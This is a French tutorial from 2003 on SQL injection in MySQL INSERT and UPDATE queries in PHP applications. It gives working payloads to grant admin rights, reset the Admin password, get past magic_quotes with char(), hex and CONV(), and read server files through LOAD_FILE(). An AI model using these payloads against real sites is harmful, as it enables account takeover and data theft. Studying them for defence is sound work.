mysql注入大全(三)
Il y a donc dans cette table un id utilisateur, comme clef primaire qui s'auto incrémente, le login, mot de passe, nom, email et le niveau de l'utilisateur (1=user, 2=moderateur,3=admin).
Une requête pour créer un compte dans un service PHP, serait par exemple :
$query1 = "INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
Quatre variables sont modifiables ici, donc quatre possibilités d'injection.
Prenons pour l'exemple la plus simple, la variable $email. Si on lui donne comme valeur : ','3')# , la requête deviendra :
INSERT INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
et le nouveau membre créé aura le statut admin (la partie après # étant ignorée).
Si on avait voulu utiliser la variable $nom, il aurait fallut mettre ','','3')#, pour $pass ','','','3')# etc...
Ceci n'est pas la seule façon d'utiliser INSERT; il y en a deux autres.
Mais voyons-les plutôt si la table avait été créée de cette façon :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint default '1',
PRIMARY KEY (id)
)
Le changement est qu'userlevel a une valeur par défaut : 1 (utilisateur). Il est en effet logique que, lorsqu'on s'inscrive, on soit automatiquement utilisateur et non pas modérateur, les droits étant donnés par l'administrateur.
Il y a alors peu de chances de retomber sur une requête INSERT comme vue avant, où l'userlevel est indiqué.
Voici le genre de requête INSERT sur lequel on risque de tomber :
$query2 = "INSERT INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
Pour modifier son niveau d'utilisateur, il suffira d'entrer dans une des quatre variables la valeur suivante :
',userlevel='3 ce qui donnera comme requête, si par exemple on attribue cette valeur à $nom, deviendra :
INSERT INTO membres SET login='',password='',nom='',userlevel='3',email=''
Et le nouvel utilisateur sera créé avec des droits administrateurs.
Imaginons maintenant que l'id soit un chaîne de caractères créée aléatoirement. La création de la table se ferait alors de la sorte :
CREATE TABLE membres (
id varchar(15) NOT NULL default '',
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
La requête SQL pourrait alors être du type :
$query3 = "INSERT INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";
Et l'injection SQL du même type que pour la première requête. On peut par exemple donner à la variable $email la valeur :
a@a.a','3')#, ce qui donnerait le droit administrateur à l'utilisateur créé, avec la requête :
INSERT INTO membres VALUES ('[ID]','[LOGIN]','[PASS]','[NOM]','a@a.a','3')#','1')
UPDATE :
Voyons maintenant les requêtes UPDATE, qui sont moins répandues que les SELECT, plus que les INSERT, et qui permettent de mettre à jour les champs d'un enregistrement dans la table d'une base de données.
Reprenons pour le premier exemple la table :
CREATE TABLE membres (
id int(10) NOT NULL auto_increment,
login varchar(25),
password varchar(25),
nom varchar(30),
email varchar(30),
userlevel tinyint,
PRIMARY KEY (id)
)
qui est donc une table créée pour une partie membres.
Un endroit où on pourrait trouver une requête UPDATE dans une partie membre est le changement des informations d'un membre, la modification de son profil utilisateur. Ici on pourrait y changer son mot de passe, son nom et son email.
La requête SQL serait alors du type :
$sql = "UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE id='$id'";
Imaginons d'abord que l'$id ne soit pas modifiable par l'utilisateur - ce qui serait un problème de sécurité qui n'est plus lié à l'injection SQL.
Une première possibilité ici serait de modifier un autre champ que les champs password, nom et email, par exemple le champ userlevel, qui, je le rappelle, contient le niveau de modération de l'utilisateur.
Ceci serait possible en donnant par exemple à $nom la valeur : ',userlevel='3 ce qui donnerai comme requête SQL :
UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]'
De cette façon il est donc possible de modifier n'importe que champ de votre enregistrement dans la table.
Mais il y a mieux. On peut également, si cette injection SQL est possible, opérer une autre injection qui, en plus de pouvoir changer n'importe quel champ d'un enregistrement, pourrait changer les champs de n'importe quel enregistrement !
En effet imaginons que l'on donne à $pass la valeur : [nouveaupass]' WHERE nom='Admin'#. La requête deviendrait alors :
UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'#',nom='[NOM]',email=' ' WHERE id='[ID]'
le SQL exécuté (donc sans les commentaires) serait :
UPDATE membres SET password='[nouveaupass]' WHERE nom='Admin'
et le mot de passe du compte dont le nom est "Admin" deviendrait [nouveaupass].
Dernière possibilité pour arriver au même résultat : si l'$id est modifiable par l'utilisateur, on peut lui donner la valeur : ' OR name='Admin, ce qui donnerait la requête :
UPDATE membres SET password='[PASS]',nom='[NOM]',email=' ' WHERE id='' OR name='Admin'
ce qui, encore une fois, changerait les informations du compte d'Admin et nom pas de notre propre compte.
Voilà les grandes lignes. Pour voir un peu plus en profondeur, je vais changer d'exemple, et prendre la table créée de la manière suivante :
CREATE TABLE news (
idnews int(10) NOT NULL auto_increment,
title varchar(50),
author varchar(20),
news text,
Votes int(5),
score int(15),
PRIMARY KEY (idnews)
)
qui est donc une table déstinée à contenir des news, avec un titre, un auteur, bien sûr un contenu, mais qui permettra aussi de voter pour chaque news, avec un nombre de votants et un score.
Pour voter, la requête sera du style :
$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'";
Je prends cet exemple car c'est via une requête de ce style que j'ai approfondi ma connaissance de l'injection SQL dans les requêtes UPDATE, plus précisemment dans PHP-Nuke, et j'ai retrouvé la faille dans d'autres services (annuaires de liens,...).
Ici on ne va pas toucher à la variable $id; sa modification ne nous servirait à rien, puisqu'on peut voter pour chacune des news.
On voit donc que la requête incrémente "Votes", qui est le nombre de votants, et ajoute à "score" le nouveau score choisi.
On remarque d'abord qu'en complétant correctement la requête, on peut modifier n'importe quel champ de la news choisie.
Par exemple en donnant à $id le valeur 12 et à $note la valeur : 3, title='hop' on obtiendra la requête :
UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE idnews='12'
qui ajoutera un votant, augmentera le score de 3 points et changera le titre de la news n° 12 en 'hop'.
Un point plus intéressant dans cette requête est qu'une injection peut être effectuée, que magic_quotes_gpc soit sur ON OU sur OFF, ce qui est le principal problème dans l'injection SQL avec PHP.
En effet la variable modifiable $note n'est entourée ni de guillements ni d'apastrophes.
On peut donc changer le but premier de la requête, sans utiliser de ' ou de ", et donc sans avoir de problèmes avec les filtres de la configuration PHP.
Un exemple d'injection sans ' ni " : on donne à $note la valeur : 3,Votes=0 pour avoir la requête :
UPDATE news SET Votes=Votes+1, score=score+3,Votes=0 WHERE idnews='12'
et remettre le nombre de votants à 0.
Evidemment, on ne peut changer (à première vue) que les chiffres, car pour définir un char, varchar, text,... il faut utiliser des ' ou " (title='hop').
C'est là qu'interviennent les fonctions de conversions de chaînes de caractères. Par exemple, la fonction MySQL char(), qui renvoie la valeur qui correspond aux chiffres donnés en ASCII. Donc char(97,98,99) vaudra "abc". Il est donc possible d'insérer du texte sans être bloqué par le magic_quotes_gpc. Par exemple pour changer le titre en "hop", on pourra donner à $note la valeur 3, title=char(104,111,112), ce qui donnera la requête :
UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews='12'
On peut avoir facilement la valeur hexadecimale via SQL lui-même en utilisant la fonction ASCII() ou ORD(). ASCII('h') et ORD('h') renvoient 104.
Il est également possible de jouer avec les caractères sans ' ou " grâce au fait que MySQL reconnait directement les caractères hexadécimaux et les convertit. Par exemple 0x616263 est compris comme "abc". Donc si on atttribue à $note la valeur 3, title=0x616263 , le titre sera changé en "abc" car la requête effectuée sera :
UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews='12'
Enfin, une troisième possibilité est l'utilisation de la fonction CONV(), qui convertit d'une base à l'autre (base minimum 2, maximum 36).
Par exemple on pourrait donner à $note la valeur 3, title=CONV(10202210,3,16), 3, title=CONV(5274,8,16), etc... pour transformer le titre en "abc". Ce qui est pratique avec cette fonction, c'est que pour savoir la valeur à donner au premier argument, il suffit de convertir dans l'autre sens, c'est-à-dire d'exécuter SELECT CONV("abc",16,3), CONV("abc",16,8).
Quelques informations peuvent également être extraites grâce aux fonctions DATABASE() et USER() ( ou SYSTEM_USER() ou CURRENT_USER() ou SESSION_USER() ) qui renvoient respectivement le nom de la base courante et le nom de l'utilisateur courant. Ainsi on aura le nom de la base de donnée utilisée dans le titre en attribuant comme valeur à $note : 3, title=DATABASE(), ce qui donne la requête :
UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews='12'
Parlons enfin d'une fonction extrêmement intéressante, mais qui s'applique rarement : la fonction LOAD_FILE().
Comme le dit son nom, elle charge un fichier donné en argument. Plus précisément elle lit et retourne comme une chaîne le contenu du fichier donné en argument.
Il y a plusieurs conditions à son utilisation :
- Le fichier doit être sur le serveur
- Son path complet doit être spécifié
- On doit avoir le privilège FILE
- Le fichier doit être lisible par tous
- Le fichier doit être plus petit que le max_allowed_packet
Si toutes ces conditions sont remplies, on peut enfin charger des fichiers dans la base de données. Le champ pouvant contenir le plus de caractères est le champ "news" (de type text), c'est donc celui-ci que nous allons utiliser. Pour copier par exemple le fichier /tmp/picture (je reprend l'exemple de MySQL pour ne pas utiliser le classique /etc/passwd) dans le champ "news" de la news 12, on peut attribuer à $note la valeur 3, news=LOAD_FILE('/tmp/picture') ce qui donnera la requête :
UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE('/tmp/picture') WHERE idnews='12'
Conclusion/Credit :
Voilà déjà pas mal de choses qui peuvent se faire avec l'injection SQL... ça change de l'éternel 1=1 qu'on voit partout dans les textes à ce sujet.
Il manque certainement certaines choses, comme par exemple l'UNION, ajouté dans la version 4.0.0 de MySQL, je ferais donc peut-être des rajouts par la suite à ce texte. Si c'est le cas je les mentionnerais ici, avec la date correspondante.
Pour tout commentaire, questions,... vous pouvez me mailer à leseulfrog_at_homail.com . Mes tutoriels sont disponibles sur http://www.phpsecure.info/v2/tutos/frog/ .
Ce texte a été achevé le jeudi 3 juillet 2003 (et il pleut !).
Texte publié dans "The Hackademy Manuel" #5